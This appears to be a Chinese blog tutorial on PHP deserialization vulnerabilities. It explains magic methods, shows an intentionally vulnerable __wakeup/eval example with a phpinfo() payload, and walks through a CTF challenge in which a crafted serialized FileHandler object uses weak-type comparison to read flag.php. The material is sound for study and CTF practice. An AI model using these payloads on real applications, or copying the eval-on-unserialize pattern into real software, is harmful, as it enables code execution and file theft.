反序列化漏洞

#PHP反序列化

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

serialize()     //将一个对象转换成一个字符串

unserialize()   //将字符串还原成一个对象

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

__construct()//创建对象时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__invoke() //当脚本尝试将对象调用为函数时触发

序列化和发序列化例子

<?php

class Student  //类

{

public $name = 'daxian';

function hh()

{

return 'you are badbadbad!';

}

function __construct(){     //构造函数

echo "I am construct fountion!";

echo "</br>";

}

}

$s = new Student(); //新建一个对象

echo $s->hh()."</br>";   //调用对象的方法,php用->, 有些用 .

//序列化//

$s_serialize = serialize($s);   //serialize() 序列化函数

print_r($s_serialize);   //结果  O:7:"Student":1:{s:4:"name";s:6:"daxian";}

//  O:对象  7:长度为7  Student:对象的名字  1:有一个成员变量  s:4:字符串类型,长度4

//  name :成员的名字   daxian:成员的值       function没有表示出来

//反序列化//

$fan ='O:7:"Student":1:{s:1:"n";s:8:"dongdong";}';

$fff=unserialize($fan);  //反序列化

echo "</br>";

print_r($fff);  // 显示 :Student Object ( [name] => daxian [n] => dongdong )

?>

魔术方法:

//代码执行//

class Student  //类

{

public $name = '';

function __wakeup(){

eval($this->name);

}

}

unserialize($_GET['a']); //O:7:"Student":1:{s:4:"name";s:10:"phpinfo();";}

ctf类似题目

https://cgctf.nuptsast.com/challenges#Web  //ctf的靶场

http://www.dooccn.com/php/               //php在线执行平台

https://www.ctfhub.com/#/challenge          //ctf靶场

真题再现:

 <?php

 include("flag.php");

 highlight_file(__FILE__);

 class FileHandler {

     protected $op;
protected $filename;
protected $content; function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
} public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
} private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
} private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
} private function output($s) {
echo "[Result]: <br>";
echo $s;
} function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
} } function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
} if(isset($_GET{'str'})) { $str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
} }

首先ctf命名及代码函数unserialize判断反序列化知识点

第一:获取flag存储flag.php

第二:两个魔术方法__destruct __construct

第三:传输str参数数据后触发destruct,存在is_valid过滤

第四:__destruct中会调用process,其中op=1写入及op=2读取

第五:涉及对象FileHandler,变量op及filename,content,进行构造输出

<?php

class FileHandler{

public $op=' 2';//源码告诉我们op为1时候是执行写入为2时执行读

public $filename="flag.php";//文件开头调用的是flag.php

public $content="xd";

}

$flag = new FileHandler();

$flag_1 = serialize($flag);

echo $flag_1;

?>

涉及:反序列化魔术方法调用,弱类型绕过,ascii绕过

使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。__destruct函数对$this->op进行了===判断并内容在2字符串时会赋值为1,process函数中使用==对$this->op进行判断(为2的情况下才能读取内容),因此这里存在弱类型比较,可以使用数字2或字符串' 2'绕过判断。

is_valid函数还对序列化字符串进行了校验,因为成员被protected修饰,因此序列化字符串中会出现ascii为0的字符。经过测试,在PHP7.2+的环境中,使用public修饰成员并序列化,反序列化后成员也会被public覆盖修饰。

最新文章

  1. EL表达式获取数据的方式
  2. truncate table和delete table 的区别
  3. 配置Nginx支持ThinkPHP的URL重写和PATHINFO
  4. vrrp两用
  5. ubuntu的命令day1
  6. careercup-排序和查找 11.2
  7. ionic 项目分享【转】No.3
  8. id有空格获取不到元素
  9. MFC自绘控件学习总结第二贴---转
  10. tab切换☆☆☆☆☆
  11. UVA - 10635 最长公共子序列
  12. Top 10 Books For Advanced Level Java Developers
  13. J2那几个E和Web基础
  14. IE10 特有 MSGesture() 方法
  15. UNIX环境高级编程——system函数
  16. .NET Core 时代已经到了,你准备好了吗
  17. Kafka 生产者和消费者入门代码基础
  18. Basler和Matrox的配置及调试
  19. 840. Magic Squares In Grid
  20. 【sping揭秘】6、IOC容器之统一资源加载策略

热门文章

  1. js截取URL网址参数
  2. 实体类转xml
  3. unity探索者之socket传输protobuf字节流(一)
  4. PAT 2-07. 素因子分解(20)
  5. css两种常用的不定宽高的水平垂直居中方法,记住它,不再为样式发愁
  6. Redis 持久化 rdb、Aof对比
  7. JDK14-ZGC调研初探
  8. 下拉菜单,下拉导航,JavaScript,html,jQuery的实现代码
  9. python读文件出现错误解决方法
  10. 风变编程-Python基础语法